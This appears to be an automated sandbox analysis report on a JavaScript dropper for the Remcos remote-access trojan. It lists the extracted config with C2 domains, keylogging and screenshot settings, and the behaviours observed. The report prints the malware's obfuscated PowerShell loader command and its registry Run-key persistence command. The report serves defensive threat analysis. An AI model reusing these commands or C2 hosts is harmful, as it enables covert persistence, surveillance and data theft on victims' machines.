remcos | 7e29c78e049023a3759f246d5e56e947a04dc66881a84af5441ee17a47c146f8

Analysis

max time kernel
149s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
25/06/2026, 05:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_7e29c78e049023a3759f246d5e56e947a04dc66881a84af5441ee17a47c146f8.js
Size 99KB
Sample260625-gdfd2aht8v
SHA256 7e29c78e049023a3759f246d5e56e947a04dc66881a84af5441ee17a47c146f8
MD5 1f2584628e8d257858be7ff3c56dae0c
SHA1 4a8a3b46cae8dbbdf475527485048b231fe9ace2
SHA512 9a90362013f3ebeffac41e6f4611ef060785150199aee95a9361f5134b5683ed56b4c7ff6ee9426f8adbdfacf143779e9b389441d9626d23529bd3a4a2f46317
SSDEEP 3072:lqnndvSkP9nO4AcNGRdBA49Igg9g0QU+Xm0b1EU:6nYkVnOZcEmqIgg9gl7Vb1V
TLSH
T1A6A32870DA2101770F87BB9CBCA40661CAADD3148A2755B0F6D9870D900ADECF77D6AB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware cherricoil collection discovery execution remcos persistence rat spyware suricata

Malware Config

Extracted

Family

remcos

Botnet

Cherricoil

jahour7lamo1.duckdns.org:56090
jahour7lamo2.duckdns.org:56090
jahour7lamo3.duckdns.org:56090
jahour7lamo4.duckdns.org:56090
yam.janou8kaburo1.com:56090

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
mprtys.dat
keylog_flag
false
keylog_path
%AppData%
mouse_option
false
mutex
lmprtkld-X9TT04
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Suricata alert: REMCOS RAT Malware Inbound C2 Communication 6 IoCs

Network activity triggered a Suricata alert

suricata remcos

flow	pid	Process
35	5776	backgroundTaskHost.exe
35	5776	backgroundTaskHost.exe
35	5776	backgroundTaskHost.exe
35	5776	backgroundTaskHost.exe
35	5776	backgroundTaskHost.exe
35	5776	backgroundTaskHost.exe

Suricata alert: REMCOS RAT Malware Outbound C2 Communication 8 IoCs

Network activity triggered a Suricata alert

suricata remcos

flow	pid	Process
35	5776	backgroundTaskHost.exe
35	5776	backgroundTaskHost.exe
35	5776	backgroundTaskHost.exe
35	5776	backgroundTaskHost.exe
35	5776	backgroundTaskHost.exe
35	5776	backgroundTaskHost.exe
36	5776	backgroundTaskHost.exe
36	5776	backgroundTaskHost.exe

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4032	wscript.exe
20	4200	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	wscript.exe

Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	backgroundTaskHost.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	backgroundTaskHost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Reeksport211 = "%Skure% -windowstyle 2 $Igang=(.'gp' 'HKCU:\\Software\\Bille\\').'Ulmariati';%Skure% ($Igang)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
5776	backgroundTaskHost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2392	powershell.exe
5776	backgroundTaskHost.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	backgroundTaskHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe

Modifies registry class 20 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Documents"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e80922b16d365937a46956b92703aca08af0000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	explorer.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
6140	explorer.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4200	powershell.exe
4200	powershell.exe
2392	powershell.exe
2392	powershell.exe
2392	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2392	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4200	powershell.exe
Token: SeDebugPrivilege	2392	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
6140	explorer.exe
6140	explorer.exe
5776	backgroundTaskHost.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4032 wrote to memory of 5844	4032	wscript.exe	96
PID 6140 wrote to memory of 4200	6140	explorer.exe	98
PID 2392 wrote to memory of 4752	2392	powershell.exe	106
PID 2392 wrote to memory of 5776	2392	powershell.exe	107
PID 2392 wrote to memory of 5776	2392	powershell.exe	107
PID 5776 wrote to memory of 3880	5776	backgroundTaskHost.exe	108
PID 5776 wrote to memory of 6132	5776	backgroundTaskHost.exe	109
PID 6132 wrote to memory of 2644	6132	cmd.exe	112

outlook_office_path 1 IoCs

description	ioc	Process
Key enumerated	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	backgroundTaskHost.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\_7e29c78e049023a3759f246d5e56e947a04dc66881a84af5441ee17a47c146f8.js
1⤵
- Badlisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4032
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe" c:\windows\Visionproo.ini
  2⤵
  PID:5844

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:6140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Skra65=gc ($HOME+'/app'+'data/local/Macroc');$Truename=$Skra65[2812]+$Skra65[2813]+$Skra65[2814]; . ($Truename) $Skra65"
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4200

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Skra65=gc ($HOME+'/app'+'data/local/Macroc');$Truename=$Skra65[2812]+$Skra65[2813]+$Skra65[2814]; . ($Truename) $Skra65"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2392
- C:\Windows\SysWOW64\backgroundTaskHost.exe
  "C:\Windows\SysWOW64\backgroundTaskHost.exe"
  2⤵
  PID:4752
- C:\Windows\SysWOW64\backgroundTaskHost.exe
  "C:\Windows\SysWOW64\backgroundTaskHost.exe"
  2⤵
  - Suricata alert: REMCOS RAT Malware Inbound C2 Communication
  - Suricata alert: REMCOS RAT Malware Outbound C2 Communication
  - Accesses Microsoft Outlook profiles
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  PID:5776
- - C:\Windows\SysWOW64\backgroundTaskHost.exe
    "C:\Windows\SysWOW64\backgroundTaskHost.exe"
    3⤵
    PID:3880
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Reeksport211" /t REG_EXPAND_SZ /d "%Skure% -windowstyle 2 $Igang=(.'gp' 'HKCU:\Software\Bille\').'Ulmariati';%Skure% ($Igang)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6132
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Reeksport211" /t REG_EXPAND_SZ /d "%Skure% -windowstyle 2 $Igang=(.'gp' 'HKCU:\Software\Bille\').'Ulmariati';%Skure% ($Igang)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:2644

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5cd2db0c89d2b0872350f46bea1e457ee4eb7bad79ce7c23fc3c163c54133b50
MD5 2591134569de57ae04056b552094aab2
SHA1 31d76a6ba722dc8c60769e81fed2a87aee6e91a2
SHA512 70058cc3a0a143b6e672a9b07f209c2011d411224c97a371ad2102d4b7096af49e0d32a2cab02efae1c974c71a9d0cec857562f0cd4ee1499d331fe0351ccefa
TLSH
T13221A837B3DC8A21CC86123A109D9C1072B283C7819ECF9F6FC4D604A07F588CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_edcsumg5.pce.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_edcsumg5.pce.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

Forvandl.tra

Path C:\Users\Admin\AppData\Roaming\Forvandl.tra
Size 201KB
SHA256 322281a7dc6739d748c809164719449fcc5ecc9695f26590265d71397d3ae29c
MD5 fc50f2d80655bf98f87e4998619f3a2e
SHA1 f4c1b7384d7df24a990e981639b42b68d2d66852
SHA512 32647c7036047e0035c3ccc39f4aa0e7b626d8f450f7788d7184878392643b88d7e71636a43c17d1e3b35faefe58bf86125c52277a6b1a15273c88cb4aaffa23
SSDEEP 6144:oh7O+s7oLzgI5nRnBPHAwaqum3x9R0HZg6F:ohiusI5RPaqJMZ
TLSH
T18F140281EFA4353EDEF00E24B87A96466B54A4CE59A14441502CF590BBB3BDC6CBF4F8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Macroc

Path C:\Users\Admin\appdata\local\Macroc
Size 2KB
SHA256 696b906b91c7f4d79de1dba624e4827cf0a404d30372a54117cdb1859df443f6
MD5 d719ceca037b4fba281a2f97d56f20cd
SHA1 1a7411c808c54b40db3af76b3bcb83dba6fdb537
SHA512 5a9277c3509c4bcf6c1c8e3b6f6cdba5797bcc4f207f79b9cb14c3aa0b52aa6c7f06aaf2f9ec8b771c213a407f2136c6332c8f8d0338726bf8251a610a136fed
TLSH
T1D05196F013E99EECB48E572099C9705349F37E02AA6231514E7CE7D52CE65902865F87
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2392-32-0x0000000006CA0000-0x0000000006D36000-memory.dmp

Download

memory/2392-33-0x00000000060F0000-0x000000000610A000-memory.dmp

Download

memory/2392-19-0x0000000005470000-0x00000000054D6000-memory.dmp

Download

memory/2392-20-0x00000000055D0000-0x0000000005636000-memory.dmp

Download

memory/2392-28-0x0000000005640000-0x0000000005994000-memory.dmp

Download

memory/2392-17-0x0000000004DD0000-0x00000000053F8000-memory.dmp

Download

memory/2392-30-0x0000000005C00000-0x0000000005C1E000-memory.dmp

Download

memory/2392-31-0x0000000005C20000-0x0000000005C6C000-memory.dmp

Download

memory/2392-38-0x00000000085A0000-0x000000000A9F9000-memory.dmp

Download

memory/2392-18-0x0000000004D40000-0x0000000004D62000-memory.dmp

Download

memory/2392-34-0x0000000006140000-0x0000000006162000-memory.dmp

Download

memory/2392-35-0x00000000072F0000-0x0000000007894000-memory.dmp

Download

memory/2392-36-0x0000000007F20000-0x000000000859A000-memory.dmp

Download

memory/2392-16-0x0000000002230000-0x0000000002266000-memory.dmp

Download

memory/4200-3-0x0000020375790000-0x00000203757B2000-memory.dmp

Download

memory/5776-48-0x00000000012C0000-0x0000000002514000-memory.dmp

Download

memory/5776-50-0x00000000012C0000-0x0000000002514000-memory.dmp

Download

memory/5776-55-0x000000001EE70000-0x000000001EF67000-memory.dmp

Download

memory/5776-59-0x000000001EE70000-0x000000001EF67000-memory.dmp

Download

memory/5776-58-0x000000001EE70000-0x000000001EF67000-memory.dmp

Download